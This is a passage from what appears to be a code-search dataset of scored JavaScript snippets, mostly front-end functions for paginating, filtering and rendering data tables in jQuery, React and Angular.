true;\n }\n }\n\n // Append a Summary Row\n if (this.settings.summaryRow) {\n self.element.addClass('has-summary-row');\n\n const totals = self.calculateTotals();\n const summaryRowHtml = self.rowHtml(totals, this.recordCount, null, false, true);\n if (self.hasLeftPane && summaryRowHtml.left) {\n tableHtmlLeft += summaryRowHtml.left;\n }\n if (summaryRowHtml.center) {\n tableHtml += summaryRowHtml.center;\n }\n if (self.hasRightPane && summaryRowHtml.right) {\n tableHtmlRight += summaryRowHtml.right;\n }\n }\n\n if (self.bodyColGroupHtml !== '<colgroup>') {\n if (this.settings.spacerColumn) {\n self.bodyColGroupHtml += '<col style=\"width: 100%\">';\n }\n self.bodyColGroupHtmlLeft += '</colgroup>';\n self.bodyColGroupHtml += '</colgroup>';\n self.bodyColGroupHtmlRight += '</colgroup>';\n\n if (self.bodyColGroupLeft) {\n self.bodyColGroupLeft.remove();\n }\n\n if (self.bodyColGroup) {\n self.bodyColGroup.remove();\n }\n\n if (self.bodyColGroupRight) {\n self.bodyColGroupRight.remove();\n }\n\n if (self.hasLeftPane) {\n self.bodyColGroupLeft = $(self.bodyColGroupHtmlLeft);\n (self.tableBodyLeft || self.headerRowLeft).before(self.bodyColGroupLeft);\n }\n\n self.bodyColGroup = $(self.bodyColGroupHtml);\n (self.headerRow || self.tableBody).before(self.bodyColGroup);\n\n if (self.hasRightPane) {\n self.bodyColGroupRight = $(self.bodyColGroupHtmlRight);\n (self.tableBodyRight || self.headerRowRight).before(self.bodyColGroupRight);\n }\n }\n\n if (self.hasLeftPane) {\n DOM.html(self.tableBodyLeft, tableHtmlLeft, '*');\n }\n\n DOM.html(self.tableBody, tableHtml, '*');\n\n if (self.hasRightPane) {\n DOM.html(self.tableBodyRight, tableHtmlRight, '*');\n }\n\n self.setVirtualHeight();\n self.setScrollClass();\n self.setupTooltips(rowStatusTooltip);\n self.afterRender();\n }", "title": "" }, { "docid": "ca828e6319b1bcea9ee84d6dbd373449", "score": "0.5894459", "text": "get paginator() {\n if (this.pagination && this.props.globalSelector.orgIds.length > 0) {\n const pageCount = this.state.filterText !== '' ? this.state.filteredPageCount : this.state.pageCount;\n\n return (\n <Pagination\n handlePageClick={this.handlePageClick}\n pageCount={pageCount}\n currentPage={this.state.currentPage}\n />\n );\n }\n return false;\n }", "title": "" }, { "docid": "a25f6760c0501db860b9ccf92e844c58", "score": "0.5856047", "text": "fnPrepareData() {\n const { perpage, currPage } = this.state;\n let end = perpage * currPage;\n let start = end - perpage;\n let data = this.state.data.slice(start, end);\n this.setState({\n tableData: data,\n });\n }", "title": "" }, { "docid": "d24f0e49a9abfbb79635f9cd5a7bba3c", "score": "0.58502734", "text": "function paginate(posts, rows_per_page, currentPage) {\n postContainer.innerHTML = \"\";\n currentPage--;\n let start_index = currentPage * rows_per_page;\n let end_index = start_index + rows_per_page;\n\n let posts_per_page = posts.slice(start_index, end_index);\n\n displayPostsDOM(posts_per_page);\n}", "title": "" }, { "docid": "fae97ed7df4d9dabfc6fd1a58b3556fe", "score": "0.584792", "text": "function includePaging1(obj, rows) {\r\n\tobj.enablePaging(true, rows, 5, \"pagingArea1\", true);\r\n\tobj.setPagingSkin(\"bricks\");\r\n}", "title": "" }, { "docid": "8ff5ef1c56e164c2aa9052f6c5675853", "score": "0.5841098", "text": "*queryTableFirstPage(_, { put }) {\n yield put({\n type: 'queryTable',\n payload: {\n pagination: {\n current: 1,\n },\n },\n });\n }", "title": "" }, { "docid": "6b25c221145074555fb3969dfd89d849", "score": "0.5835047", "text": "function pagerFilter(data){\n if (typeof data.length == 'number' && typeof data.splice == 'function'){ // is array\n data = {\n total: data.length,\n rows: data\n };\n }\n var dg = $(this);\n var opts = dg.datagrid('options');\n var pager = dg.datagrid('getPager');\n pager.pagination({\n \tonBeforeRefresh:function(){\n \t\tdg.datagrid(\"reload\");\n \t},\n onSelectPage:function(pageNum, pageSize){\n opts.pageNumber = pageNum;\n opts.pageSize = pageSize;\n pager.pagination('refresh',{\n pageNumber:pageNum,\n pageSize:pageSize\n });\n dg.datagrid('loadData',data);\n }\n });\n if (!data.originalRows){\n data.originalRows = (data.rows);\n }\n var start = (opts.pageNumber-1)*parseInt(opts.pageSize);\n var end = start + parseInt(opts.pageSize);\n data.rows = (data.originalRows.slice(start, end));\n return data;\n}", "title": "" }, { "docid": "55bca856e279350f570e2ba10c5ce979", "score": "0.58285", "text": "get pageSize() { return this._pageSize; }", "title": "" }, { "docid": "90dd36ae8b600b01b38b26ea78e565b7", "score": "0.5823306", "text": "handlePaging() {\n if (!this.settings.paging) {\n return;\n }\n\n this.element.addClass('paginated');\n this.tableBody.pager({\n componentAPI: this,\n dataset: this.settings.dataset,\n hideOnOnePage: this.settings.hidePagerOnOnePage,\n source: this.settings.source,\n pagesize: this.settings.pagesize,\n indeterminate: this.settings.indeterminate,\n rowTemplate: this.settings.rowTemplate,\n pagesizes: this.settings.pagesizes,\n pageSizeSelectorText: this.settings.groupable ? 'GroupsPerPage' : 'RecordsPerPage',\n showPageSizeSelector: this.settings.showPageSizeSelector,\n activePage: this.restoreActivePage ? parseInt(this.savedActivePage, 10) : 1\n });\n\n if (this.restoreActivePage) {\n this.savedActivePage = null;\n this.restoreActivePage = false;\n }\n }", "title": "" }, { "docid": "2c9b36cca2840fb9d605f8bec603da1a", "score": "0.58205086", "text": "onPageSize () {\n if (this.isAllPageSize()) {\n this.pageStart = 0\n this.pageSize = 0\n }\n this.doRefreshDataPage()\n }", "title": "" }, { "docid": "64c1bb7cd33c959a34914bc8725a0642", "score": "0.58177555", "text": "function initPagination() {\n ctrl.page = {\n number: ctrl.page.number || 0,\n size: 10\n };\n }", "title": "" }, { "docid": "ab15d01b49f25c27dbc38b9c59f3aa68", "score": "0.57893485", "text": "function showAllRows() {\n for(var i =0 ; i < rowsLength; i ++){\n tBody.rows[i].style.display = \"\";\n }\n }", "title": "" }, { "docid": "6efb60ddb1d9a8c7dbacf4f6c6e750a6", "score": "0.5788524", "text": "function resetPagination() {\n currentContentsPage = 1;\n $('.membersPagination').empty();\n $('.membersPagination').addClass('hidden');\n }", "title": "" }, { "docid": "36ccacffdd33f65caf05cf732fab0daa", "score": "0.57662135", "text": "function pagination() {\r\n\t\t\t\t$scope.pageSize = $scope.shownoofrec;\r\n\t\t\t\t\r\n\t\t\t\t$scope.currentPage = 0;\r\n\t\t\t\t$scope.totalPages = 0;\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t$scope.nextDisabled = false;\r\n\t\t\t\t$scope.previousDisabled = true;\r\n\t\t\t\t\r\n\t\t\t\tif(self.Filtervehicles.length <= 10 ) {\r\n\t\t\t\t\t$scope.nextDisabled = true;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif(self.Filtervehicles.length < 100) {\r\n\t\t\t\t\t$scope.totalnoof_records = self.Filtervehicles.length;\r\n\t\t\t\t\r\n\t\t\t\t} else {\r\n\t\t\t\t\tfindrecord_count();\r\n\t\t\t\t}\r\n\t\t\t}", "title": "" }, { "docid": "59d7544de55453fe6ec77efa69cc3f08", "score": "0.57264024", "text": "setPage(num) {\n\n this.setState({\n indexList: this.state.totalData.slice(num, num + this.state.pageSize)\n })\n\n }", "title": "" }, { "docid": "7c1d9bd8084d56d37e8617accec2fad9", "score": "0.5718667", "text": "function figureOutItemsToDisplay() {\n vm.filteredItems = $filter('filter')(vm.images, {\n $: vm.search\n });\n vm.filterLength = vm.filteredItems.length;\n var begin = ((vm.currentPage - 1) * vm.itemsPerPage);\n var end = begin + vm.itemsPerPage;\n vm.pagedItems = vm.filteredItems.slice(begin, end);\n }", "title": "" }, { "docid": "42acb421b0ffc988669c43792d9ee376", "score": "0.56930816", "text": "function displayData(p, rows) {\n console.log(\"page no.:\"+ p);\n console.log(\"row count:\"+ rows);\n $tbody.innerHTML = '';\n\n if (parseInt(Number(p)) == p)\n {\n data = filteredData.slice((p-1)*rows, (p*rows));\n console.log(data);\n }\n else\n {\n\t alert('Please click on Previous or Next to navigate the pages.');\n console.log('Sorry!! This is not hanlded :( Need some more time.');\n return;\n }\n\n for (var i = 0; i < data.length; i++) {\n var UFOData = data[i];\n var fields = Object.keys(UFOData);\n // Create a new row in the tbody, set the index to be i + startingIndex\n var $row = $tbody.insertRow(i);\n for (var j = 0; j < fields.length; j++) {\n // For every field in the UFOData object, create a new cell at set its inner text to be the current value\n // at the current UFOData's field\n var field = fields[j];\n var $cell = $row.insertCell(j);\n $cell.innerText = UFOData[field];\n }\n }\n}", "title": "" }, { "docid": "ed7e77aeb118a99dc6b00104336d4bb4", "score": "0.5692738", "text": "function show_rows(init_number) {\n for(var i = 0; i < $('.crash-table tbody tr').length; i++) {\n if(i >= init_number && i < MAX_CRASH_PER_PAGE+init_number)\n $('.crash-table tbody tr').eq(i).css(\"display\", \"table-row\");\n else\n $('.crash-table tbody tr').eq(i).css(\"display\", \"none\");\n }\n}", "title": "" }, { "docid": "30d5ed5726f3d02ded22b0248cd1268b", "score": "0.5689158", "text": "initPagination(){\n this.getPagination().initPagination();\n }", "title": "" }, { "docid": "2a47ea23fed84b152d4531811bfe03bb", "score": "0.5681382", "text": "function plekit_table_paginator (opts,table_id) {\n\n if(!(\"currentPage\" in opts)) { return; }\n \n var p = document.createElement('p');\n var table=$(table_id);\n var t = $(table_id+'-fdtablePaginaterWrapTop');\n var b = $(table_id+'-fdtablePaginaterWrapBottom');\n\n /* when there's no visible entry, the pagination code removes the wrappers */\n if ( (!t) || (!b) ) return;\n\n /* get how many entries are matching:\n opts.visibleRows only holds the contents of the current page\n so we store the number of matching entries in the table 'matching' attribute\n */\n var totalMatches = opts.totalRows;\n var matching=table['matching'];\n if (matching) totalMatches = matching;\n\n var label;\n\n var matches_text;\n if (totalMatches != opts.totalRows) {\n matches_text = totalMatches + \"/\" + opts.totalRows;\n } else {\n matches_text = opts.totalRows;\n }\n var first = ((opts.currentPage-1) * opts.rowsPerPage) +1;\n var last = Math.min((opts.currentPage * opts.rowsPerPage),totalMatches);\n var items_text = \"Items [\" + first + \" - \" + last + \"] of \" + matches_text;\n var page_text = \"Page \" + opts.currentPage + \" of \" + Math.ceil(totalMatches / opts.rowsPerPage);\n label = items_text + \" -- \" + page_text;\n\n p.className = \"paginationText\"; \n p.appendChild(document.createTextNode(label));\n\n /* t.insertBefore(p.cloneNode(true), t.firstChild); */\n b.appendChild(p);\n}", "title": "" }, { "docid": "bb9dea2bf2f4a54d2fe10c25afad8ac8", "score": "0.5668502", "text": "renderPagination() {\n if (!_.isEmpty(this.props.pageMeta)) {\n const lastRecord = this.props.pageMeta.current_items_count + this.props.pageMeta.offset;\n const firstRecord = this.props.pageMeta.offset + 1;\n const totalItemsCount = this.props.pageMeta.total_items_count;\n\n return (\n <div className=\"row\">\n <b> {firstRecord}-{lastRecord}/{totalItemsCount}</b> <br/>\n <nav aria-label=\"Page navigation example\">\n\n <ul className=\"pagination\">\n {this.renderFirstPaginationButton()}\n {this.props.pageMeta.has_prev_page &&\n (<li className=\"page-item\" data-toggle=\"tooltip\" data-placement=\"top\"\n title=\"Previous page\">\n <span className=\"page-link\"\n onClick={e => this.props.loadMore(this.props.location.pathname, this.props.pageMeta.prev_page_number, this.props.pageMeta.page_size)}>\n {this.props.pageMeta.prev_page_number}\n </span>\n </li>)}\n\n <li className=\"page-item active\">\n <a className=\"page-link page-ite\">\n {this.props.pageMeta.current_page_number}\n </a>\n </li>\n {this.props.pageMeta.has_next_page &&\n <li className=\"page-item\">\n <a className=\"page-link\"\n onClick={e => this.props.loadMore(this.props.location.pathname, this.props.pageMeta.next_page_number, this.props.pageMeta.requested_page_size)}>\n {this.props.pageMeta.next_page_number}\n </a>\n </li>}\n {this.renderLastPaginationButton()}\n </ul>\n </nav>\n </div>\n )\n }\n }", "title": "" }, { "docid": "7e8157050c35f9e7421618d4625a9d9c", "score": "0.56682163", "text": "renderPaginate(self, pagContainer) {\n\t\tpagContainer.pagination({\n\t\t\tdataSource: this.dataSource, // total ads from filtered request\n\t\t\tpageSize: this.limit, // num max ads per page\n\t\t\tshowGoInput: this.showGoInput,\n\t\t\tshowGoButton: this.showGoButton,\n\t\t\tshowBeginingOnOmit: this.showBeginingOnOmit,\n\t\t\tshowEndingOnOmit: this.showEndingOnOmit,\n\t\t\thideWhenLessThanOnePage: this.hideWhenLessThanOnePage,\n\t\t\tpageRange: this.pageRange,\n\t\t\tprevText: this.prevText,\n\t\t\tnextText: this.nextText,\n\t\t\tcallback: (data, pagination) => {\n\t\t\t\tconst currentBtn = pagination.pageNumber;\n\t\t\t\tthis.generateCurrentSkip(currentBtn);\n\t\t\t\tself.dataService.createData({ skip: this.skip, limit: this.limit });\n\t\t\t\tself.commonManager.loadAdsPag(self.dataService.getData());\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "ae6cfa1e004ee77842e593d517e4e6ee", "score": "0.565906", "text": "_setupPagingAndFiltering() {\r\n const that = this;\r\n\r\n that.$.pager.$.pageSizeSelector.classList.add('underlined');\r\n that.$.pager.$.pageSizeSelector.dropDownAppendTo = 'body';\r\n\r\n that._filterInfo = { query: '' };\r\n that._applyFilterTemplate();\r\n that.$.header.classList.toggle('smart-hidden', that.filterRow && !that.filterTemplate);\r\n }", "title": "" }, { "docid": "6bfec1779d25b86a6070dca6fd225530", "score": "0.56489515", "text": "function refreshNewsArticlesPager() {\n $(\"#artNewsPager\").paginate({\n count: $(\"#totalrecords\").val() / 10,//pageSize\n start: 1,\n display: 10,\n border: false,\n text_color: '#79B5E3',\n background_color: 'none',\n text_hover_color: '#2573AF',\n background_hover_color: 'none',\n images: false,\n mouse: 'press',\n onChange: function (page) {\n loadNewsArticlePage(page);\n }\n });\n}", "title": "" }, { "docid": "9ff6d02d323c3e20e6a53c0251ec9bfd", "score": "0.563874", "text": "function initItemPagination(num_entries) {\n \n // Create pagination element\n $(\".items_pagination\").pagination(num_entries, {\n \tnum_display_entries:7,\n num_edge_entries: 1,\n callback: itemsselectCallback,\n load_first_page:false,\n items_per_page:itemlimit\n });\n }", "title": "" }, { "docid": "f9e885d73f3162a6980e6217d97b4e9a", "score": "0.5632002", "text": "function filterPageDisplayAll() {\n $record_lines.show();\n $no_record_lines.hide();\n }", "title": "" }, { "docid": "5b5e1372bcd06011a8624a59acf23c64", "score": "0.5624218", "text": "function showPage(pageNr)\n {\n obj.find(\"tbody\").find(\"tr\").hide();\n obj.find(\"tbody\").find(\"tr\").slice( (pageNr-1) *settings.perPage, pageNr*settings.perPage).show();\n\n\n\n }", "title": "" }, { "docid": "53f3dfd50a69b8b788f016754b3bc6ab", "score": "0.56227356", "text": "_paginate (entities, page, pageSize) {\n\t\treturn entities.slice((page - 1) * pageSize, (page - 1) * pageSize + pageSize)\n\t}", "title": "" }, { "docid": "619e46ef834552111b27b8a8a482128d", "score": "0.56222486", "text": "getListbyPaging(currPage, currLimit) {\n var url = api.url_tampildataOutlet(currPage, currLimit);\n this.isLoading = true;\n fetch(url)\n .then(response => response.json())\n .then(data =>\n this.setState({\n result: data.content,\n isLoading: false,\n totalPage: data.totalPages,\n }),\n );\n }", "title": "" }, { "docid": "a45267265aa9f87a2d497baf86cfde9f", "score": "0.56192863", "text": "function renderTable() {\n $tbody.innerHTML = \"\";\n // Set the value of endingIndex to startingIndex + resultsPerPage\n var endingIndex = startingIndex + resultsPerPage;\n // Get a section of the addressData array to render\n var addressSubset = filteredAddresses.slice(startingIndex, endingIndex);\n\n for (var i = 0; i < addressSubset.length; i++) {\n // Get get the current address object and its fields\n var address = addressSubset[i];\n var fields = Object.keys(address);\n // Create a new row in the tbody, set the index to be i + startingIndex\n var $row = $tbody.insertRow(i);\n for (var j = 0; j < fields.length; j++) {\n // For every field in the address object, create a new cell at set its inner text to be the current value at the current address's field\n var field = fields[j];\n var $cell = $row.insertCell(j);\n $cell.innerText = address[field];\n }\n }\n}", "title": "" }, { "docid": "39fbb4c7d6c37d8f82a18c9756de87eb", "score": "0.5612445", "text": "setRowPage(){\n var table = document.getElementById(`${this.state.config.tableId}_Body`);\n var tr = table.getElementsByTagName(\"tr\");\n for (var i = 0; i < tr.length; i++) {\n let page = parseInt(tr[i].getAttribute(\"page\"));\n if (page === this.state.currentPage){\n tr[i].classList.add(\"showIt\");\n tr[i].classList.remove(\"hideIt\");\n }else {\n tr[i].classList.add(\"hideIt\");\n tr[i].classList.remove(\"showIt\");\n }\n }\n }", "title": "" }, { "docid": "7f9d5fa5c7531eac738dd37055f6a142", "score": "0.56100166", "text": "function displayRecords(data) {\n var container = '#'+self.settings().containers.table;\n var template = self.settings().templates.table;\n $.Casper.applyTemplate(container, template, data);\n\n buildPagination(data);\n }", "title": "" }, { "docid": "bf6d7146e2897dbf91cf761f0f1121ab", "score": "0.5609197", "text": "function resetData(){\n \t$('.baiDocTable tbody tr').remove();\n \tvar page = $('li.active').children().text();\n \t$('.pagination li').remove();\n \tajaxGet(page);\n }", "title": "" }, { "docid": "c7131978d709ef369fab97e1c6ad63a6", "score": "0.5596287", "text": "get pageSizeOptions() { return this._pageSizeOptions; }", "title": "" }, { "docid": "3f2299b39752c8c99a16a87bb4aca086", "score": "0.55907005", "text": "constructor (props) {\n super(props);\n this.state = {\n table: {\n page: 1,\n limit: isNaN(props.limit) ? 10 : props.limit,\n sort: {\n field: '',\n direction: 'asc'\n },\n filters: {\n date: 'all',\n dtype: 'all'\n }\n }\n };\n }", "title": "" }, { "docid": "5d4970f8fa7226d47d09bee546e4e1b0", "score": "0.5590002", "text": "function reload(count){\n objData.page = count;\n let tableBody = document.getElementById(\"tablebody\");\n tableBody.remove();\n loadPagination(objData.pageData,objData.page,objData.rows,false);\n}", "title": "" }, { "docid": "7c56210575a12835cbf0a54758111f1a", "score": "0.55823284", "text": "function paginationRoomListDisplay() {\n $('#pagination-container-display').pagination({\n dataSource: loadedData,\n pageSize: 5,\n showPrevious: true,\n showNext: true,\n className: 'paginationjs-theme-blue',\n callback: function (data, pagination) {\n homeVueDisplay.roomList = data;\n window.scroll(0, 0);\n }\n });\n}", "title": "" }, { "docid": "b8312d108c216052c98cbc3abd74c173", "score": "0.5581628", "text": "function showTable(table, page=1){\n //Calculate the page number\n const rows = Array.from(table.rows).slice(1);\n const maxrows = document.getElementById('maxrows').value;\n let maxpage = Math.ceil(rows.length/maxrows);\n //page could not be grater than maxpage\n page = (page <= maxpage)?page:maxpage;\n //page could not be less than 1\n page = (page < 1)?1:page;\n \n //Calculate the init index and final index\n let init_idx = (page-1) * maxrows;\n let final_idx = (rows.length >= page*maxrows)?(page*maxrows):rows.length;\n let show_rows = rows.slice(init_idx, final_idx);\n \n //Hide the table\n hideTable(table);\n //Show the rows\n show_rows.map(showRow);\n //Update the pagination\n selectPagePagination(page);\n}", "title": "" }, { "docid": "4cce263b7400224cbae217d1c60adce4", "score": "0.5578785", "text": "function refreshResults() {\n\tif (_dataSource) {\n\t\t_pager.page(0);\n\t\t_dataSource.fetch(function(){\n\t\t // if callback is needed, place it here\n\t\t});\n\t}\t\n}", "title": "" }, { "docid": "ee1f42146b6aaeb0cfcd449e97a50199", "score": "0.55721915", "text": "function renderTable(page=0) {\r\n $tbody.innerHTML = \"\";\r\n var start =page * $maxresults;\r\n var end=start + $maxresults;\r\n for (var i = 0; i < $maxresults; i++) {\r\n // Get get the current address object and its fields\r\n console.log(start, i);\r\n var alien = filterdata[start + i];\r\n console.log(alien);\r\n var fields = Object.keys(alien);\r\n // Create a new row in the tbody, set the index to be i + startingIndex\r\n var $row = $tbody.insertRow(i);\r\n for (var j = 0; j < fields.length; j++) {\r\n // For every field in the address object, create a new cell at set its inner text to be the current value at the current address's field\r\n var field = fields[j];\r\n var $cell = $row.insertCell(j);\r\n $cell.innerText = alien[field];\r\n }\r\n }\r\n // show pagination\r\nvar Numberofpages=filterdata.length/$maxresults;\r\n$pagination.innerHTML=\"\";\r\nfor(let i=0; i < Numberofpages; i++){\r\n var li=document.createElement(\"Li\");\r\n var a=document.createElement(\"a\");\r\n li.classList.add(\"page-item\");\r\n a.classList.add(\"page-Link\");\r\n a.text=i+1;\r\n a.addEventListener(\"click\",function(){\r\n renderTable(i);\r\n });\r\n li.appendChild(a);\r\n $pagination.appendChild(li);\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n}", "title": "" }, { "docid": "c11e425d2c1132add2ea9b5d038d0690", "score": "0.55720776", "text": "function loadPagination(pageData,page,rows,isLoadButton){\n\n // 0th index = 1st position\n let firstRecord = (page - 1) * rows;\n\n // 10th index = 11th position\n let lastRecord = page * rows;\n\n //slice will return 1st to 10th position and store in customerData\n let customerData = pageData.slice(firstRecord,lastRecord);\n\n //call function to load table \n loadTable(customerData);\n\n //if true then call function to load button passing the datas length by num of rows\n if(isLoadButton){\n \n loadButton(pageData.length/rows);\n }\n}", "title": "" }, { "docid": "4bc98ef4948184b76826dcb43119ce43", "score": "0.5569449", "text": "render() {\n return (\n <div>\n <ReactTable data={\n this.props.dataFromApi\n }\n columns ={[\n {\n Header:\"ResourceLinkHash\",\n accessor:\"resourcelinkHash\"\n },\n {\n Header:\"ResourceHash\",\n accessor:\"resourceHash\"\n },\n {\n Header:\"PatternHash\",\n accessor:\"patternHash\"\n },\n {\n Header:\"IsPatternPresent\",\n accessor:\"isPatternPresent\"\n },\n {\n Header:\"ResourceSummaryHash\",\n accessor:\"resourceSummaryHash\"\n },\n {\n Header:\"StatementIssuer\",\n accessor:\"statementIssuer\"\n },\n\n ]}\n defaultPageSize={10}\n className=\"-striped -highlight\"\n />\n <br />\n </div>\n );\n }", "title": "" }, { "docid": "a3370da34b61c3de5bf42efdaf2a3389", "score": "0.55595857", "text": "render() {\n this.style.display = 'inline-block';\n this.articles = [];\n this.limit = this.dataset.limit || 30;\n this.pageLimit = Math.ceil(this.limit / 30);\n this.setWidth();\n this.fetchArticles(1, this.limit).catch(err => console.error(err));\n }", "title": "" }, { "docid": "4627236427ab1ac2ccad84aaaf85b4a3", "score": "0.5557392", "text": "pagination() {\n //Convert the data into Int using parseInt(string, base value)\n // || 1 is used in case user does not specify any page value similarly for limit default is 10\n const page = parseInt(this.queryStr.page, 10) || 1;\n const limit = parseInt(this.queryStr.limit, 10) || 10;\n // to get the data on pages rather than page 1\n const skipResults = (page - 1) * limit;\n\n //skip method is used to skip through the specified number of data\n //limit method is used to limit the no of data returned at a time.\n this.query = this.query.skip(skipResults).limit(limit);\n\n return this;\n }", "title": "" }, { "docid": "5d59c692464ea03ea381ed483391bba9", "score": "0.5549407", "text": "function renderPantryList(rows) {\n pantryTable.children().not(\":last\").remove();\n pantryContainer.children(\".alert\").remove();\n if (rows.length) {\n pantryTable.prepend(rows);\n }\n else {\n renderEmpty();\n }\n }", "title": "" }, { "docid": "cd3e68aec03117eb68b91d515478150d", "score": "0.55472845", "text": "toResults() {\n this.setState({ page: 4 });\n }", "title": "" }, { "docid": "e65a89a4f7c3565d33db430598dce7d8", "score": "0.55451876", "text": "loadLocalGridPagination() {\n if (this.gridOptions) {\n this.totalItems = Array.isArray(this.dataset) ? this.dataset.length : 0;\n if (this.paginationOptions && this.dataView && this.dataView.getPagingInfo) {\n const slickPagingInfo = this.dataView.getPagingInfo() || {};\n if (slickPagingInfo.hasOwnProperty('totalRows') && this.paginationOptions.totalItems !== slickPagingInfo.totalRows) {\n this.totalItems = slickPagingInfo.totalRows;\n }\n }\n this.paginationOptions.totalItems = this.totalItems;\n const paginationOptions = this.setPaginationOptionsWhenPresetDefined(this.gridOptions, this.paginationOptions);\n this.initializePaginationService(paginationOptions);\n }\n }", "title": "" }, { "docid": "e4046685969eb6fd191a406bac609519", "score": "0.5543111", "text": "function renderTable(filteredData) {\n $tbody.innerHTML = \"\";\n // Create variable for page number\n for (var i = 0; i < filteredData.length; i++) {\n // Get get the current address object and its fields\n var address = filteredData[i];\n var fields = Object.keys(address);\n // Create a new row in the tbody, set the index to be i + startingIndex\n var $row = $tbody.insertRow(i);\n // Increment page no if i is multiple of 50\n // add data attribute to row\n for (var j = 0; j < fields.length; j++) {\n // For every field in the address object, create a new cell at set its inner text to be the current value at the current address's field\n var field = fields[j];\n var $cell = $row.insertCell(j);\n $cell.innerText = address[field];\n }\n }\n}", "title": "" }, { "docid": "194d9fe3c6def7ee9559eeeebbabc614", "score": "0.55397314", "text": "function hideShowPagination() {\n\t\t\tif (newsList.matchingItems.length == 0) {\n\t\t\t\t(0, _jquery2.default)('.news-pagination-wrapper').hide();\n\t\t\t} else {\n\t\t\t\t(0, _jquery2.default)('.news-pagination-wrapper').show();\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "0ca3b23fbb9fc4c11dc3d4e87b7bc3c6", "score": "0.5529731", "text": "function pagination (table) {\n var limit = 10; \n var page = Number($(\"#current_page\").val());\n var Search = $(\"#Search\").val();\n\n if (!Search) {\n var source = \"row_count.php\";\n } \n else {\n var source = \"search_row_count.php\";\n }\n\n getData(table);\n\n $.post(\"includes/\" + source, { \n Table: table,\n Search: Search\n }, function (data) {\n var numRows = data;\n //calculating number of pages\n var totalPages = Math.ceil(numRows / limit);\n // var totalPages = 25; DUMMY to test pagination\n \n if (page == 1) {\n var page1 = Number(page);\n var page2 = Number(page + 1);\n var page3 = Number(page + 2);\n var page4 = Number(page + 3);\n var page5 = Number(page + 4);\n var page6 = Number(page + 5);\n //hiding previous button\n $(\"#previous\").hide();\n }\n\n else {\n var page1 = Number(page - 1);\n var page2 = Number(page);\n var page3 = Number(page + 1);\n var page4 = Number(page + 2);\n var page5 = Number(page + 3);\n var page6 = Number(page + 4); \n // showing previous button\n $(\"#previous\").show(); \n } \n\n if (page == totalPages) {\n //hiding next button\n $(\"#next\").hide();\n }\n else {\n //showing next button\n $(\"#next\").show();\n }\n\n // setting up the page numbers\n $(\"#page1\").val(page1);\n $(\"#page2\").val(page2);\n $(\"#page3\").val(page3);\n $(\"#page4\").val(page4);\n $(\"#page5\").val(page5);\n $(\"#page6\").val(page6);\n\n var i = 1;\n while (i <= 6) {\n var page_num = $(\"#page\" + i).val();\n if (page_num > totalPages) {\n $(\"#page\" + i).hide();\n }\n else {\n $(\"#page\" + i).show(); \n }\n if (page_num == page) {\n $(\"#page\" + i).css({\"background\": \"#FFFFFF\", \"color\": \"rgba(0, 104, 255, 1)\"}); \n }\n else {\n $(\"#page\" + i).css({\"background\": \"rgba(0, 104, 255, 1)\", \"color\": \"#FFFFFF\"});\n }\n i++;\n } \n } \n );\n //getting data\n}", "title": "" }, { "docid": "a0d4d8f4faee59e59bb057798f31bcb0", "score": "0.55293655", "text": "resetPagination(triggerChangedEvent = true) {\n if (this._isLocalGrid) {\n // on a local grid we also need to reset the DataView paging to 1st page\n this.dataView.setPagingOptions({ pageSize: this._itemsPerPage, pageNum: 0 });\n }\n this.refreshPagination(true, triggerChangedEvent);\n }", "title": "" }, { "docid": "a0dbf8b31eea66f32ab6adbbae95fa24", "score": "0.5514061", "text": "paginatePrevious(boundThis) {\n\n this.settings.offset = this.settings.offset - this.settings.show;\n \n const dataSet = this.run();\n\n boundThis.setState({dataToShow: dataSet.data})\n\n return dataSet\n }", "title": "" }, { "docid": "35febb63109734265eaeec162807aa4d", "score": "0.55126864", "text": "noResultsOnTable() {\n this.membersList.length ? this.noResults = false : this.noResults = true;\n }", "title": "" }, { "docid": "960133c2dac06236be299a9af3727c72", "score": "0.5492884", "text": "function buildPager() {\n vm.pagedItems = [];\n vm.itemsPerPage = 7;\n vm.currentPage = 1;\n vm.figureOutItemsToDisplay();\n }", "title": "" }, { "docid": "23c4fd72f64652b9a59749b1e945b7d0", "score": "0.5488847", "text": "function paginationRoomList() {\n $('#pagination-container').pagination({\n dataSource: loadedData,\n pageSize: 5,\n showPrevious: true,\n showNext: true,\n className: 'paginationjs-theme-blue',\n callback: function (data, pagination) {\n homeVue.roomList = data;\n window.scroll(0, 0);\n }\n });\n}", "title": "" }, { "docid": "8791b6884d2ebbae1207229b956e9145", "score": "0.5482203", "text": "display(){\ndata.then(data=>{\n // console.log(data.length)\n // navigation i.e showing current and total page number\n \n totalPage.innerHTML = data.length/5;\n currentPage.innerHTML = (this.firstIndex/5)+1\n \n //display table\n tbody.innerHTML = ''\n for(let i = this.firstIndex ; i < this.firstIndex+5; i++){\n \n // console.log(data[i].id)\n var row = tr()\n var rowData = [td(), td(), td()]\n rowData[0].innerHTML = data[i].id\n rowData[1].innerHTML = data[i].name\n rowData[2].innerHTML = data[i].email\n row.append(...rowData)\n tbody.append(row)\n }\n \n}).catch(err => console.log(err))\nthis.buttons()\n}", "title": "" }, { "docid": "bb40e2e0c930ce8ece5345a49f921c30", "score": "0.54813176", "text": "if (nextState.pageSize === rowCount && nextState.currentPage === 1) {\n return null;\n }", "title": "" }, { "docid": "73657d6d9b042d70c8cba7c450972b6d", "score": "0.54776615", "text": "function shownoofRecord()\r\n\t{\r\n\t\t$scope.pageSize=$scope.shownoofrec;\r\n\t\tself.Filterreceipts=self.receipts.slice($scope.currentPage*$scope.pageSize);\r\n\t\tif(self.Filterreceipts.length<=$scope.pageSize)\r\n\t\t{\r\n\t\t\t$scope.previousDisabled=true;\r\n\t\t\t$scope.nextDisabled=true;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$scope.nextDisabled=false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "5dc2482dc902c6c083f5abc619f84180", "score": "0.54762393", "text": "function Table({ columns, data }) {\n console.log('data on FormList', data)\n const filterTypes = React.useMemo(\n () => ({\n text: (rows, id, filterValue) => {\n return rows.filter(row => {\n const rowValue = row.values[id]\n return rowValue !== undefined\n ? String(rowValue)\n .toLowerCase()\n .startsWith(String(filterValue).toLowerCase())\n : true\n })\n },\n }),\n []\n )\n\n const defaultColumn = React.useMemo(\n () => 